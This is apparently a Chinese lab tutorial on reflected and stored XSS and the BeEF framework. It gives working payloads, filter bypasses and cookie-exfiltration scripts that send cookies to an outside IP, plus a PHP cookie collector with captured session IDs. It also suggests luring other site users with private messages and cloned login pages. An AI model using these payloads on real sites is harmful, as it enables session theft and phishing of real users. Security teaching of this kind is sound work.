反射型XSS
1、安全级别

2、手动XSS


输入弹窗警告语句:
<script>alert('xss')</script>

<script>alert(document.cookie)</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>


<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.jd.com"</script>


<script>location.href="http://www.taobao.com"</script>
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.jd.com"</script>


<script>alert('xss');location.href="http://39.107.12.245/oneice.txt"</script>

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信 息,则可能在另外的站点重新登录账户(克隆网站收集账户)
巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">

绕开过滤的脚本
大小写 <ScrIpt>alert('xss')</SCRipt>
字符编码 采用URL、Base64等编码
<a href="javascript:alert("xss")">oneice</a>

收集用户cookie 打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页。
如果弹出的窗口被拦截,设为允许即可
<script>window.open("http://39.107.12.245/oneice.txt?cookie="+document.cookie)</script>

<script>document.location="http://39.107.12.245/oneice.txt?cookie="+document.cookie</script>
<script>new Image().src="http://39.107.12.245/oneice.txt?cookie="+document.cookie;</script>
<img src="http://39.107.12.245/oneice.txt?cookie='+document.cookie"></img>
<iframe src="http://39.107.12.245/oneice.txt?cookie='+document.cookie"></iframe>
<script>new Image().src="http://39.107.12.245/oneice.txt?cookie='+document.cookie";img.width = 0;img.height = 0;</script>
存储型XSS
存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等; 用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
1、手动(低安全级别下)

攻击1 弹框告警: 渗透机 kali Linux 端操作
text1
<script>alert('yangge')</script>



右键检查

这种方式会把内容写入数据库,换一个客户端访问这个页面仍然会出现弹窗
这里我们换成kali服务器来访问一下这个页面


攻击2 获取cookie: 渗透机 Kali Linux端操作
1. 构建收集cookie服务器
2. 构造XSS代码并植入到Web服务器
3. 等待肉鸡触发XSS代码并将cookie发送到Kali
4. Cookie利用
root@kali:~# service apache2 start # 启动Apache服务
root@kali:~# cd /var/www/html/ #进入网站默认发布目录
root@kali:/var/www/html# vim cookie.php #构造XSS代码
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
root@kali:/var/www/html# chown -R www-data.www-data /var/www/
植入XSS代码之前先清除之前植入的代码


<script>window.open('http://192.168.0.107/cookie.php?cookie='+document.cookie)</script>
此处ip地址为kali服务器ip地址
cookie.php为前面写入代码的文件名


出现空白页面
去查看一下肉鸡
root@kali:/var/www/html# ls
cookie.php cookie.txt index.html index.nginx-debian.html
root@kali:/var/www/html# cat cookie.txt #已获得肉鸡的cookie
security=low; PHPSESSID=cf49u0jvdkkfss1sc9pohu8l62; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
security=low; PHPSESSID=cf49u0jvdkkfss1sc9pohu8l62; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
自动化XSS
1、工具BeEF简介
Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com/
- 信息收集:
- 网络发现 2. 主机信息 3. Cookie获取 4. 会话劫持 5. 键盘记录 6. 插件信息
- 持久化控制:
- 确认弹框 2. 小窗口 3. 中间人
- 社会工程:
- 点击劫持 2. 弹窗告警 3. 虚假页面 4. 钓鱼页面
- 渗透攻击:
- 内网渗透 2. Metasploit 3. CSRF攻击 4. DDOS攻击
BeEF使用
先清除之前的植入
启动Apache和BeEF:
root@kali:~# service apache2 start


[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
#<IP>为BeEF所在机器,即kali服务器ip地址
登录BeEF:
username: beef
password: beef

电脑真机访问要用kali的IP地址http://192.168.0.107:3000/ui/panel




查看一下真机ip地址win+R--->cmd,回车然后输入ipconfig



可以再用kali服务器访问一下


可以看出BeEF上面马上多出了一台linux系统的主机
如果某台肉鸡关闭了浏览器,那么他就会从在线浏览器转移到离线浏览器里


这样就可以获得这台机器的cookie


点击相应的命令就可以获得网站的信息

查看页面,自动跳转到百度





BeEF会显示我们输入的内容

持久化控制
命令颜色(Color):
绿色 对目标主机生效并且不可见(不会被发现)
橙色 对目标主机生效但可能可见(可能被发现)
灰色 对目标主机未必生效(可验证下)
红色 对目标主机不生效